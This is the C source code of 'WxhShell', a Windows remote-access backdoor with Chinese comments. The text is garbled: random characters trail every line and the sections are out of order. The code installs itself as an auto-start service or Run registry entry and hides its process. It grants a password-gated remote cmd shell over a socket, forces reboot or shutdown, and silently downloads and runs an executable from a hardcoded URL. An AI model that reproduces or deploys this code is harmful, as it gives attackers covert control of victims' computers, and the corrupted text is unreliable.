    else { P-[})Z=  
    closesocket(wsh); XZ8rM4 ]  
    ExitThread(0); WY>$.e  
    } Z2g<"M  
    break; glo G_*W  
    } X%<qHbKB,  
  // 关机 o ~y{9Q  
  case 'd': { oDD"h,Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !hfpa_5  
    if(Boot(SHUTDOWN)) NBasf n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRLJ|ejMP  
    else { uUx7>algF  
    closesocket(wsh); >G"fMOOkW  
    ExitThread(0); IQC[ewk  
    } S-\wX.`R1  
    break; FsO-xG"@"  
    } #m UQ@X@K  
  // 获取shell C4PT(cezR  
  case 's': { #6#n4`%ER  
    CmdShell(wsh); R!/JZ@au<  
    closesocket(wsh); @}R y7H0O  
    ExitThread(0); |6?s?tC"u  
    break; xc @$z* w  
  } d>I)_05t  
  // 退出 -le^ 5M7  
  case 'x': { TlyBpG=p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y ~I>mc]  
    CloseIt(wsh); \hI?XnL#  
    break; 'xai5X  
    } ,0AS&xs$  
  // 离开 [S]q'c)  
  case 'q': { 44~ReN}`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EI?8/c  
    closesocket(wsh); vv Y?8/  
    WSACleanup(); kR^">s/H#  
    exit(1); z8S]FpM6  
    break; Z/:yYSq  
        } E Lq1   
  } ;c]O*\/  
  } k0PwAt)65  
"v wLj:  
  // 提示信息 ;aD~1;q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \VIY[6sn\M  
} >{~xO 6H  
  } WdS1v%  
wTR?8$  
  return; N lm}'Xt  
} lU=VCuW!  
[];wP '*  
// shell模块句柄 IMdp"  
int CmdShell(SOCKET sock) _(gkYJ+MK  
{ # SCLU9-  
STARTUPINFO si; &,PA+#  
ZeroMemory(&si,sizeof(si)); Z>3~n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bxxLAWQ(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \6APU7S  
PROCESS_INFORMATION ProcessInfo; B[YyA  
char cmdline[]="cmd"; FdnLxw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [bo"!Qk%  
  return 0; $4ZV(j]  
} By!u*vSev  
FVP,$  
// 自身启动模式 +&f_k@+  
int StartFromService(void) ,Iz9!i J"  
{ tGl|/  
typedef struct v_%6Ly  
{ ("}Hs[  
  DWORD ExitStatus; yr>J^Et%_  
  DWORD PebBaseAddress; p}!)4EI=  
  DWORD AffinityMask; 5z3WRg  
  DWORD BasePriority; IRk)u`  
  ULONG UniqueProcessId; U,yZ.1V^:  
  ULONG InheritedFromUniqueProcessId; }0 H<G0   
}   PROCESS_BASIC_INFORMATION; S3U]AH)C  
-b+)Dp~$p  
PROCNTQSIP NtQueryInformationProcess; D1>*ml  
&u[F)|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >a2[P"   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,mCf{V]#  
_O87[F1  
  HANDLE             hProcess; `hG`}G|^  
  PROCESS_BASIC_INFORMATION pbi; rs>,p)  
a}VR>!b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /i@.Xg@:  
  if(NULL == hInst ) return 0; .L#4#IO  
W"#<r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r/ATZAgHP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !}U3{L-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x7l}u`N4  
6OC4?#96%'  
  if (!NtQueryInformationProcess) return 0; '#j6ZC/?  
KdHkX+-R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }>y~P~`S:  
  if(!hProcess) return 0; .uX(-8n ~  
~v/` `s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (kK8 OxfF  
*Z.{1  
  CloseHandle(hProcess); d@JavcR  
gV':Xe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zN+jn  
if(hProcess==NULL) return 0; t,XbF  
5)k/ 4l '  
HMODULE hMod; L!/{Z  
char procName[255]; j/T@-7^0  
unsigned long cbNeeded; t*BCpC }  
F [-D +Nka  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (1er?4  
]NWcd~"b!Z  
  CloseHandle(hProcess); ;Cx`RF w  
Q(1R=4?.Z  
if(strstr(procName,"services")) return 1; // 以服务启动 |4aU&OX  
`+TC@2-?  
  return 0; // 注册表启动 i+I.>L/S  
} @{<^rLt  
#gf0*:p  
// 主模块 7X$pgNRx/a  
int StartWxhshell(LPSTR lpCmdLine) 2"Unk\Y  
{ | z}VP-L  
  SOCKET wsl; .bh 7  
BOOL val=TRUE; UY.o,I> s  
  int port=0; yg|yoL'g  
  struct sockaddr_in door; i}<fg*6@E  
0H}O6kU  
  if(wscfg.ws_autoins) Install(); 4.kn , s  
M M @&QaK  
port=atoi(lpCmdLine); rO1N@kd/  
a)+*Gf7?  
if(port<=0) port=wscfg.ws_port; ), VF]  
9a1R"%Z  
  WSADATA data; \)MzUOZn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cZ.p  
@v /Ae_q!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0Y~5|OXJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Sns$t%b  
  door.sin_family = AF_INET; q8e]{sT'!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .k!2{A  
  door.sin_port = htons(port); G [yI[7=d  
{t'SA]|g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \4OU+$m  
closesocket(wsl); 1F2(MKOo!  
return 1; gIGi7x  
} KAr5>^<zw  
4>HQ2S{t  
  if(listen(wsl,2) == INVALID_SOCKET) { !Xq5r8]  
closesocket(wsl); AQ"rk9Z  
return 1; R\6dvd  
} #N97  
  Wxhshell(wsl); YcSPU(  
  WSACleanup(); hx~rq `{  
J?&%fI  
return 0; 6LT.ng  
bSTTr<W  
} z=rSb4"W  
>dDcm  
// 以NT服务方式启动 P!&yYR\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,;h}<("q  
{ X4bZ4U*  
DWORD   status = 0; ?*QL;[n1  
  DWORD   specificError = 0xfffffff; AY9#{c>X  
IJZx$8&A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZtI@$ An  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >(Wt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [/J(E\9  
  serviceStatus.dwWin32ExitCode     = 0; r8_MIGM'  
  serviceStatus.dwServiceSpecificExitCode = 0; cdL0<J b,  
  serviceStatus.dwCheckPoint       = 0; "@xL9[d  
  serviceStatus.dwWaitHint       = 0; *>lXCx  
`7 Nk;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !,DA`Yt  
  if (hServiceStatusHandle==0) return; Qz<i{r-z  
jq/CXYv  
status = GetLastError(); JWxSN9.X  
  if (status!=NO_ERROR) ae+*gkPv8  
{ J@q!N;eh|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #\LYo{op/.  
    serviceStatus.dwCheckPoint       = 0; A{Y/eG8  
    serviceStatus.dwWaitHint       = 0; Ht~YSQ~:y  
    serviceStatus.dwWin32ExitCode     = status; A(JgAV1{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qer}eg`R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gp^xl>E  
    return; )Y=ti~?M(  
  } }A<fCm7  
OK:YnSk"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t1o_x}z4.  
  serviceStatus.dwCheckPoint       = 0; 3`njQvI\  
  serviceStatus.dwWaitHint       = 0; [5P1 pkZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &:=[\Ws R  
} //}KWz  
OV7SLf  
// 处理NT服务事件,比如:启动、停止 n*eqM2L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x{ VUl  
{ %cq8%RT  
switch(fdwControl) 5pxw[c53#  
{ ~/Kqkhq+c  
case SERVICE_CONTROL_STOP: *nY$YwHB  
  serviceStatus.dwWin32ExitCode = 0; S^SF!k=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `{nzw$  
  serviceStatus.dwCheckPoint   = 0; iB{l:  
  serviceStatus.dwWaitHint     = 0; Q2t>E(S  
  { s#(<zBZ9p#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 69``j{Z+  
  } Gwfi  
  return; 'R n\CMTH  
case SERVICE_CONTROL_PAUSE: & c 81q2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6[]O3Aa  
  break; \.`{nq  
case SERVICE_CONTROL_CONTINUE: O6\t_.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1F[W~@jW  
  break; ZX40-6#O  
case SERVICE_CONTROL_INTERROGATE: t,yMO  
  break; D{]9s  
}; $4>x4*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E vD g{M}  
} dYp} R>+  
 BbNl:`  
// 标准应用程序主函数 1lHBg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $"{I| UFC  
{ ^cI RP  
@9h6D<?  
// 获取操作系统版本 [F^j(qTR  
OsIsNt=GetOsVer(); lUM-~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I oC}0C7  
RV6|sN[x>  
  // 从命令行安装 @?[}\9dW  
  if(strpbrk(lpCmdLine,"iI")) Install(); |\h<!xR  
}H9V$~}@-  
  // 下载执行文件 $7&t`E)qY  
if(wscfg.ws_downexe) { WeS$$:ro  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P<R'S  
  WinExec(wscfg.ws_filenam,SW_HIDE); PWN$x`h g[  
} 7V;wCm#b  
d>`s+B9K0  
if(!OsIsNt) { -T.C?Q g  
// 如果时win9x,隐藏进程并且设置为注册表启动 #j6qq3OG  
HideProc(); fzjZiBK@  
StartWxhshell(lpCmdLine); x@,B))WlGr  
} Ku]<$uo  
else ?lQ-HOAw  
  if(StartFromService()) T2MXwd&l  
  // 以服务方式启动 Xwk_QFv3  
  StartServiceCtrlDispatcher(DispatchTable); )ZDqj  
else &v&e- |r8;  
  // 普通方式启动 :3By7BZgj  
  StartWxhshell(lpCmdLine); N/eFwv.Er  
9':MD0P/M  
return 0; +Uf+`  
} 2g_2$)2  
eRvnN>L  
](sT,'  
P#ot$@1v  
=========================================== tLe"i>  
OA8iTn  
fk?(mxx"  
@hIHvLpRB  
]ZM-c~nL  
#(Ezt% ^  
" )+ 12r6W  
@N+6qO}  
#include <stdio.h> CC{{@  
#include <string.h> s<fzk1LZ  
#include <windows.h> Tq!.M1{&  
#include <winsock2.h> PitDk 1T  
#include <winsvc.h> )w&k&TY4H  
#include <urlmon.h> }|(v0]  
 B/ACU  
#pragma comment (lib, "Ws2_32.lib") iP+3)  
#pragma comment (lib, "urlmon.lib") / WJ+e  
xBK is\b  
#define MAX_USER   100 // 最大客户端连接数 k5]`:k6  
#define BUF_SOCK   200 // sock buffer rQ287y{  
#define KEY_BUFF   255 // 输入 buffer i[a1ij=  
Wd/m]]W8Q  
#define REBOOT     0   // 重启 qr_:zXsob_  
#define SHUTDOWN   1   // 关机 zkmfu~_)  
2vx1M6a)L  
#define DEF_PORT   5000 // 监听端口 4Q n5Mr@<  
4]%v%6 4U  
#define REG_LEN     16   // 注册表键长度 },(Ln%M  
#define SVC_LEN     80   // NT服务名长度  ~xV|<;  
`%A>{A"  
// 从dll定义API s2Hx ?~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "qvJ-Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >'96SE3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B_#U|10et  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $mq @g  
bO\E)%zp  
// wxhshell配置信息 3lD1G~  
struct WSCFG { 3pk `&'  
  int ws_port;         // 监听端口 e:kd0)9  
  char ws_passstr[REG_LEN]; // 口令 a.!|A(zw  
  int ws_autoins;       // 安装标记, 1=yes 0=no t~@~XI5  
  char ws_regname[REG_LEN]; // 注册表键名 .cA'6J"Bm\  
  char ws_svcname[REG_LEN]; // 服务名 leomm+f^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hj|P*yKV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9$oU6#U,h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5zR9N>!c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =`%"-A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UpIt"+d2&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  (:ObxJ*  
$wx)/t<  
}; X9oxni#  
P]b * hC  
// default Wxhshell configuration An0Zg'o!G  
struct WSCFG wscfg={DEF_PORT, 7 G<v<&  
    "xuhuanlingzhe", 3iC$ "9!p  
    1, Q1?09  
    "Wxhshell", h8me.=S&  
    "Wxhshell", }"CX`  
            "WxhShell Service", a2tRmil  
    "Wrsky Windows CmdShell Service", G(6MLh1  
    "Please Input Your Password: ", C/L+gU&  
  1, .uGvmD <;x  
  "http://www.wrsky.com/wxhshell.exe", Y4.t:Uzr  
  "Wxhshell.exe" //_aIp  
    }; drc]"6 k  
]~H\X":[>  
// 消息定义模块 _K5R?"H0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Yt+[T*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1ehl=WN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R<GnPN:c  
char *msg_ws_ext="\n\rExit."; [^4)3cj7}  
char *msg_ws_end="\n\rQuit."; eVy>  
char *msg_ws_boot="\n\rReboot..."; s v}o%  
char *msg_ws_poff="\n\rShutdown..."; ;@R=CQ6  
char *msg_ws_down="\n\rSave to "; 1!4-M$-  
ToVi;  
char *msg_ws_err="\n\rErr!"; Z+G.v=2q<  
char *msg_ws_ok="\n\rOK!"; f,_EPh>  
WK<:(vu.  
char ExeFile[MAX_PATH]; BD (Y =g  
int nUser = 0; ra4$/@3n  
HANDLE handles[MAX_USER]; v==b. 2=  
int OsIsNt; {hmC=j  
c{X:0man  
SERVICE_STATUS       serviceStatus; 6 ?C|pO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Ct^{k~1  
>A RZ=x[  
// 函数声明 yD-L:)@"  
int Install(void); c6@7>PM  
int Uninstall(void); \(db1zmS~  
int DownloadFile(char *sURL, SOCKET wsh); f=L&>X  
int Boot(int flag); OdrnPo{  
void HideProc(void); &Is}<Ew  
int GetOsVer(void); c :{#H9  
int Wxhshell(SOCKET wsl); sBLf(Q,  
void TalkWithClient(void *cs); @*VfG CQ(  
int CmdShell(SOCKET sock); <V~B8C!)  
int StartFromService(void); 'fGB#uBt  
int StartWxhshell(LPSTR lpCmdLine); KT>eE  
^z%ShmM&LZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z{N~AaY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fzc8)*w  
eq!>~: #  
// 数据结构和表定义 N-9Vx#i  
SERVICE_TABLE_ENTRY DispatchTable[] = m);0sb  
{ R|&Rq(ow"  
{wscfg.ws_svcname, NTServiceMain}, w I7iE4\vz  
{NULL, NULL} R'udC}  
}; k"z ~>  
fK %${   
// 自我安装 <U]!1  
int Install(void) 6Kbc:wlR  
{ X^td`}F/=V  
  char svExeFile[MAX_PATH]; j^V r!y  
  HKEY key; Biva{'[m  
  strcpy(svExeFile,ExeFile); ?DwI>< W  
3!H&bOF  
// 如果是win9x系统,修改注册表设为自启动 e}u68|\EC  
if(!OsIsNt) { OtVRhR3>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ki,SFww8r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3tjF4C>h|  
  RegCloseKey(key); zJ=lNb?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NR6wNz&81  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +&*D7A>~p  
  RegCloseKey(key); QH d^?H*  
  return 0; n?[JPG2X  
    } zFba("E Z  
  } 9*&c2jh  
} l+vD`aJ3  
else { ){I0  
!2o1c  
// 如果是NT以上系统,安装为系统服务 X"k:+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )-s9CWJv  
if (schSCManager!=0) cEK<CV  
{ IrMUw$  
  SC_HANDLE schService = CreateService ..K@'*u  
  ( F4*ssx  
  schSCManager, 9zL(PkC%\  
  wscfg.ws_svcname, vmj'X>Q  
  wscfg.ws_svcdisp, L7`=ec<  
  SERVICE_ALL_ACCESS, ]J(BaX4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v:1DNR4  
  SERVICE_AUTO_START, wU5.t -|`  
  SERVICE_ERROR_NORMAL, BI|TM2oa  
  svExeFile, Dx5X6t9=  
  NULL, JE *d-  
  NULL, x##0s5Qn  
  NULL, k6$Ft.0d1Z  
  NULL, P U2^4h/[`  
  NULL `9* |Y8:  
  ); B6yTD7  
  if (schService!=0) &|K9qa~)Y  
  { "OO)m](w  
  CloseServiceHandle(schService); 67g"8R#.V  
  CloseServiceHandle(schSCManager); ,gdud[&|;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h.*v0cq:  
  strcat(svExeFile,wscfg.ws_svcname); sx n{uRF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *6bO2LO"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3OB=D{$V  
  RegCloseKey(key); q"e]\Tb=we  
  return 0; Fy$f`w_H@  
    } |JLXgwML  
  } >i_ #q$o  
  CloseServiceHandle(schSCManager); 9vauCIfVC  
} M5kw3Jy5  
} 7|PB6h3  
)`BKEa f  
return 1; v{X<6^g  
} o1?S*  
)~0TGy|  
// 自我卸载 #\8"d  
int Uninstall(void) ek"U q RY  
{ SLW|)Q24  
  HKEY key; *M ^ <oG  
,`bmue5  
if(!OsIsNt) { *XOLuPL>6)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W\2 ']7}e  
  RegDeleteValue(key,wscfg.ws_regname); dmWCNeja.  
  RegCloseKey(key); T& 4f} g/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M@z_tR'3\  
  RegDeleteValue(key,wscfg.ws_regname); n?778Wo}  
  RegCloseKey(key); 7`f%?xVn0  
  return 0; M1icj~Jr  
  } jV[;e15+  
} zI0d  
} +e, c'.  
else { U&ytZ7iB  
g4u 6#.m(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =I aWf  
if (schSCManager!=0) @,j,GE%  
{ ?N(<w?Gat  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R nwFxFIQ  
  if (schService!=0) d%UzQ*s  
  { $A`m8?bY  
  if(DeleteService(schService)!=0) { ve+bR   
  CloseServiceHandle(schService); ('{aOiSH  
  CloseServiceHandle(schSCManager); W*Si"s2  
  return 0; ):[}NDmC  
  } p|(SR~;6  
  CloseServiceHandle(schService); HB{'MBs  
  } z-qbe97  
  CloseServiceHandle(schSCManager); *7E#=xb  
} 8{i O#C  
} zn>+ \  
d@p#{ -  
return 1; ZS%W/.?  
}  Q6RTH  
19U&4Jk  
// 从指定url下载文件 i)'tt9f$  
int DownloadFile(char *sURL, SOCKET wsh) L+*:VP6WD  
{ 2e-`V5{)b  
  HRESULT hr; 2kt0Rxg  
char seps[]= "/"; OLqV#i[K#9  
char *token; 2n$Wey[  
char *file; $_iE^zZaU^  
char myURL[MAX_PATH]; S43JaSw)  
char myFILE[MAX_PATH]; =7JSJ98  
$4^SWT.  
strcpy(myURL,sURL); Lg~C:BN F  
  token=strtok(myURL,seps); EK5$z>k>m  
  while(token!=NULL) lm 96:S  
  { + c+i u6+"  
    file=token; |g.CS$'#Nt  
  token=strtok(NULL,seps); zPc"r$'0 U  
  } <zL_6Y2  
2Kf/Id1  
GetCurrentDirectory(MAX_PATH,myFILE); NhCucSU<K  
strcat(myFILE, "\\"); p#{y9s4h  
strcat(myFILE, file); 2QRO$NieV  
  send(wsh,myFILE,strlen(myFILE),0); e6>G8d  
send(wsh,"...",3,0); #-\5O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D;NL*4zt  
  if(hr==S_OK) bD0l^?Hu!  
return 0; :09NZ !!  
else e.skE>&  
return 1; }%8ZN :  
'.1P\>x!]  
} L/[VpD  
2 4+  
// 系统电源模块 5E-;4o;RI(  
int Boot(int flag) NJQ)Ttt  
{ ZX` \so,&,  
  HANDLE hToken; Jz~:  
  TOKEN_PRIVILEGES tkp; $Yt|XT+!&  
(0 H=f6N  
  if(OsIsNt) { jwT` Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ewU*5|*[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DPjs? M<  
    tkp.PrivilegeCount = 1; )gEE7Ex?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s`_EkFw>Gl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +7}^Y}(  
if(flag==REBOOT) { &J&'J~N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )b #5rQ  
  return 0; y\Aa;pL)RQ  
} 8Y.q P"s  
else { -0d9,,c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1hY|XZ%qd  
  return 0; |E7 J5ha  
} >) u;X  
  } U-9Aq  
  else { K2zln_W  
if(flag==REBOOT) { B=TUZ)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .DhI3'Jrl  
  return 0; 5[jcw`  
} A.vAk''(}+  
else { Y2x|6{ #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d\JaYizp  
  return 0; {6v.(Zlh$  
} QQS*r}>  
} ^x\VMd3*w  
=O }^2OARo  
return 1; {P8d^=#q  
} %NrH\v{7Q  
x(TF4W=j  
// win9x进程隐藏模块 (p[#[CI9  
void HideProc(void) yMz#e0k  
{ PaI\y! f  
Y1-dpML  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r >'tE7W9  
  if ( hKernel != NULL ) =7<JD}G  
  { `q-+r1u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [=>=5'-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &u2;S?7m  
    FreeLibrary(hKernel); &s+l/;3  
  } [A7TSN  
IE`3I#v  
return; r%.k,FzGZY  
} 0V1GX~2  
TmG);B}  
// 获取操作系统版本 7%Y`j/  
int GetOsVer(void) +-j-)WU?,  
{ V'&;r'#O  
  OSVERSIONINFO winfo; D5lQ0_IeW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VvyRZMR  
  GetVersionEx(&winfo); :*}Q/]N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =x8[%+  
  return 1; 61S;M8tNv  
  else Y"mFUW4  
  return 0; Keh=>K)T  
} >5 -1?vi  
kEDpF26!  
// 客户端句柄模块 <gF]9%2E  
int Wxhshell(SOCKET wsl) k_7m[o  
{ ;7P '>j1?U  
  SOCKET wsh; )dkU4]  
  struct sockaddr_in client; VmqJMU>.  
  DWORD myID; qdix@ @  
Te-p0x?G.  
  while(nUser<MAX_USER) n5$#M  
{ 4H#-2LV`  
  int nSize=sizeof(client); e34>q:#5l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :0r,.)  
  if(wsh==INVALID_SOCKET) return 1; e=0]8l>\V  
%y RGN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XRV]u|w=g  
if(handles[nUser]==0) 3ay},3MCV%  
  closesocket(wsh); ?@rd,:'dE  
else i(j/C  
  nUser++; ]{1{XIF  
  } `MU~N_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $,}jz.R@  
R(wUu#n$  
  return 0; OXEEpoU?V  
} I\Op/`_=E  
Gm|-[iUTG]  
// 关闭 socket ]=~dyi  
void CloseIt(SOCKET wsh) OS z71;j  
{ cyCh^- <l@  
closesocket(wsh); uV5uZ  
nUser--; d6J/)nl  
ExitThread(0); LCB-ewy#E  
} [~9UsHfH  
O52 /fGt  
// 客户端请求句柄 nJ;^Sz17Q  
void TalkWithClient(void *cs) :AzT=^S  
{ C8-7XQ=B:b  
<w9~T TS  
  SOCKET wsh=(SOCKET)cs; cXb*d|-|N  
  char pwd[SVC_LEN]; o !tC{"g  
  char cmd[KEY_BUFF]; K?uZIDo  
char chr[1]; +x2JC' -H  
int i,j; CYaN;HV@_  
7X>IS#W]  
  while (nUser < MAX_USER) { q_b!+Y  
<A,V/']  
if(wscfg.ws_passstr) { *5feB#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yD3}USw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U ]<l-~|  
  //ZeroMemory(pwd,KEY_BUFF); ;XN|dq  
      i=0; K7RAmX  
  while(i<SVC_LEN) { gQeQy  
8<L{\$3HP|  
  // 设置超时 L2XhrLK.|  
  fd_set FdRead; n\"6ol}>E  
  struct timeval TimeOut; %66="1z0@  
  FD_ZERO(&FdRead); t /+;#-  
  FD_SET(wsh,&FdRead); Jy(G A  
  TimeOut.tv_sec=8; GL n M1  
  TimeOut.tv_usec=0; ;u<Ah?w=Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <X)\P}"L4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /*#o1W?wQZ  
;5tOQ&p%v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jq/itsg  
  pwd=chr[0]; 4zyQ"?A~  
  if(chr[0]==0xd || chr[0]==0xa) { 1iF=~@Nz_  
  pwd=0; Pe _O(  
  break; ,jY:@<n  
  } yT7$6x  
  i++; 'I$FOH   
    } J0!V(  
1B;2 ~2X  
  // 如果是非法用户,关闭 socket ray3gM%JLj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .iy4 (P4  
} ^+>*Y=fl  
cB uuq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r!Eh}0bL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OijuOLt  
h3@tZL#g  
while(1) { ~q ^o|?  
OFtaOjsyUa  
  ZeroMemory(cmd,KEY_BUFF); jqaX|)8|$  
m'"r<]pB*4  
      // 自动支持客户端 telnet标准   Skt-5S#  
  j=0; &s".hP6  
  while(j<KEY_BUFF) { t{>K).'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EVPQe-  
  cmd[j]=chr[0]; p~w] ~\  
  if(chr[0]==0xa || chr[0]==0xd) { d"FB+$  
  cmd[j]=0; KL_ /f   
  break; t.( `$  
  } Rt#QW*h\|i  
  j++; YmC}q20;  
    } J+P<zC  
t W UI?\  
  // 下载文件 <wS J K  
  if(strstr(cmd,"http://")) { 9 5,]86  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V#ELn[k  
  if(DownloadFile(cmd,wsh)) l2LQV]l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yI^Yh{  
  else )gdeFA V  
